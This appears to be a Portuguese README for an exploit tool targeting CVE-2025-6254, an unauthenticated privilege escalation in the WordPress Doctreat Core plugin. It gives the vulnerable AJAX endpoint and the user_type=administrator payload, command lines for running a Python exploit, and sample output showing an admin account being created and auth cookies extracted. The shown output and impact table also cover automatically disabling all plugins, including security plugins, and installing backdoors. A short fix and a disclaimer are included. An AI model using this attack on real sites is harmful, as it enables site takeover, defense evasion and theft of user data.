
CVE-2025-6254 — Doctreat Core <= 1.6.8 — Escalação de Privilégios Não Autenticada
O plugin WordPress Doctreat Core nas versões <= 1.6.8 está vulnerável a uma vulnerabilidade de escalada de privilégios não autenticada. Essa falha crítica permite que atacantes não autenticados criem uma nova conta de Administrador diretamente pelo endpoint AJAX de registro do plugin.
A vulnerabilidade tem origem na função doctreat_process_registration() em hooks/hooks.php, que aceita o parâmetro user_type diretamente dos dados POST enviados pelo usuário e o passa como o parâmetro role para wp_update_user() sem autorização adequada ou validação por lista de permissões (allowlist). O plugin aplica apenas esc_sql() (que não valida funções) — ele nunca verifica se a função é segura para registro público.
Descoberta Fundamental: O nonce usado pelo Doctreat (scripts_vars.ajax_nonce) é exposto em qualquer página pública do tema Doctreat ativo. O parâmetro user_type, que normalmente controla se um usuário se registra como "doctors", "hospitals" ou "regular_users", pode ser sobrescrito via POST para user_type=administrator — e esse valor é passado diretamente como o parâmetro role do WordPress.
/wp-admin/admin-ajax.php?action=doctreat_process_registrationuser_type=administrator junto com os campos normais de registroajax_nonce das páginas públicas do tema Doctreat// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
'ID' => esc_sql( $user_identity ),
'role' => esc_sql( $user_type ), // ← user_type from $_POST via extract($_POST)
'user_status' => 0
) );
// ~ line 311 — Sets _is_verified after registration
update_user_meta( $user_identity, '_is_verified', 'no' );
Nota: Em alvos com configurações de verificação padrão ($verify_user vazio ou 'remove'), o usuário é verificado automaticamente e obtém acesso de administrador imediato. Alvos com verificação por e-mail ou aprovação de administrador habilitada exigirão etapas adicionais de verificação.
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080
python3 CVE-2025-6254_exploit.py target.com username password
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator
[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR
[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}
[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access
[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!
Após executar o exploit, copie o JavaScript gerado e cole-o no Console do DevTools do seu navegador (F12):
(function() {
'use strict';
console.log('[*] Starting WordPress admin access...');
// ... cookies set automatically ...
window.location.href = 'https://target.com/wp-admin/';
})();
requests (pip install requests)// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
$user_type = 'regular_users'; // ← Reject ALL dangerous roles
}
current_user_can('create_users') para funções privilegiadasuser_type antes de passá-lo para wp_update_user()Estas informações são fornecidas apenas para fins educacionais e de teste de penetração autorizado. A exploração não autorizada de sistemas de computador é ilegal e antiética. Sempre obtenha permissão explícita por escrito antes de testar qualquer alvo que você não possua.
| Capacidade | Impacto |
|---|
| 🔑 Criar conta de administrador sem login | Assunção Total do Site |
| 🎛️ Desativar automaticamente todos os plugins de segurança | Evasão de Defesa |
| 💉 Editar arquivos PHP de plugins/temas | Execução Remota de Código |
| 🕳️ Instalar backdoors ocultos | Acesso Persistente |
| 👥 Visualizar todos os dados dos usuários | Violação de Privacidade |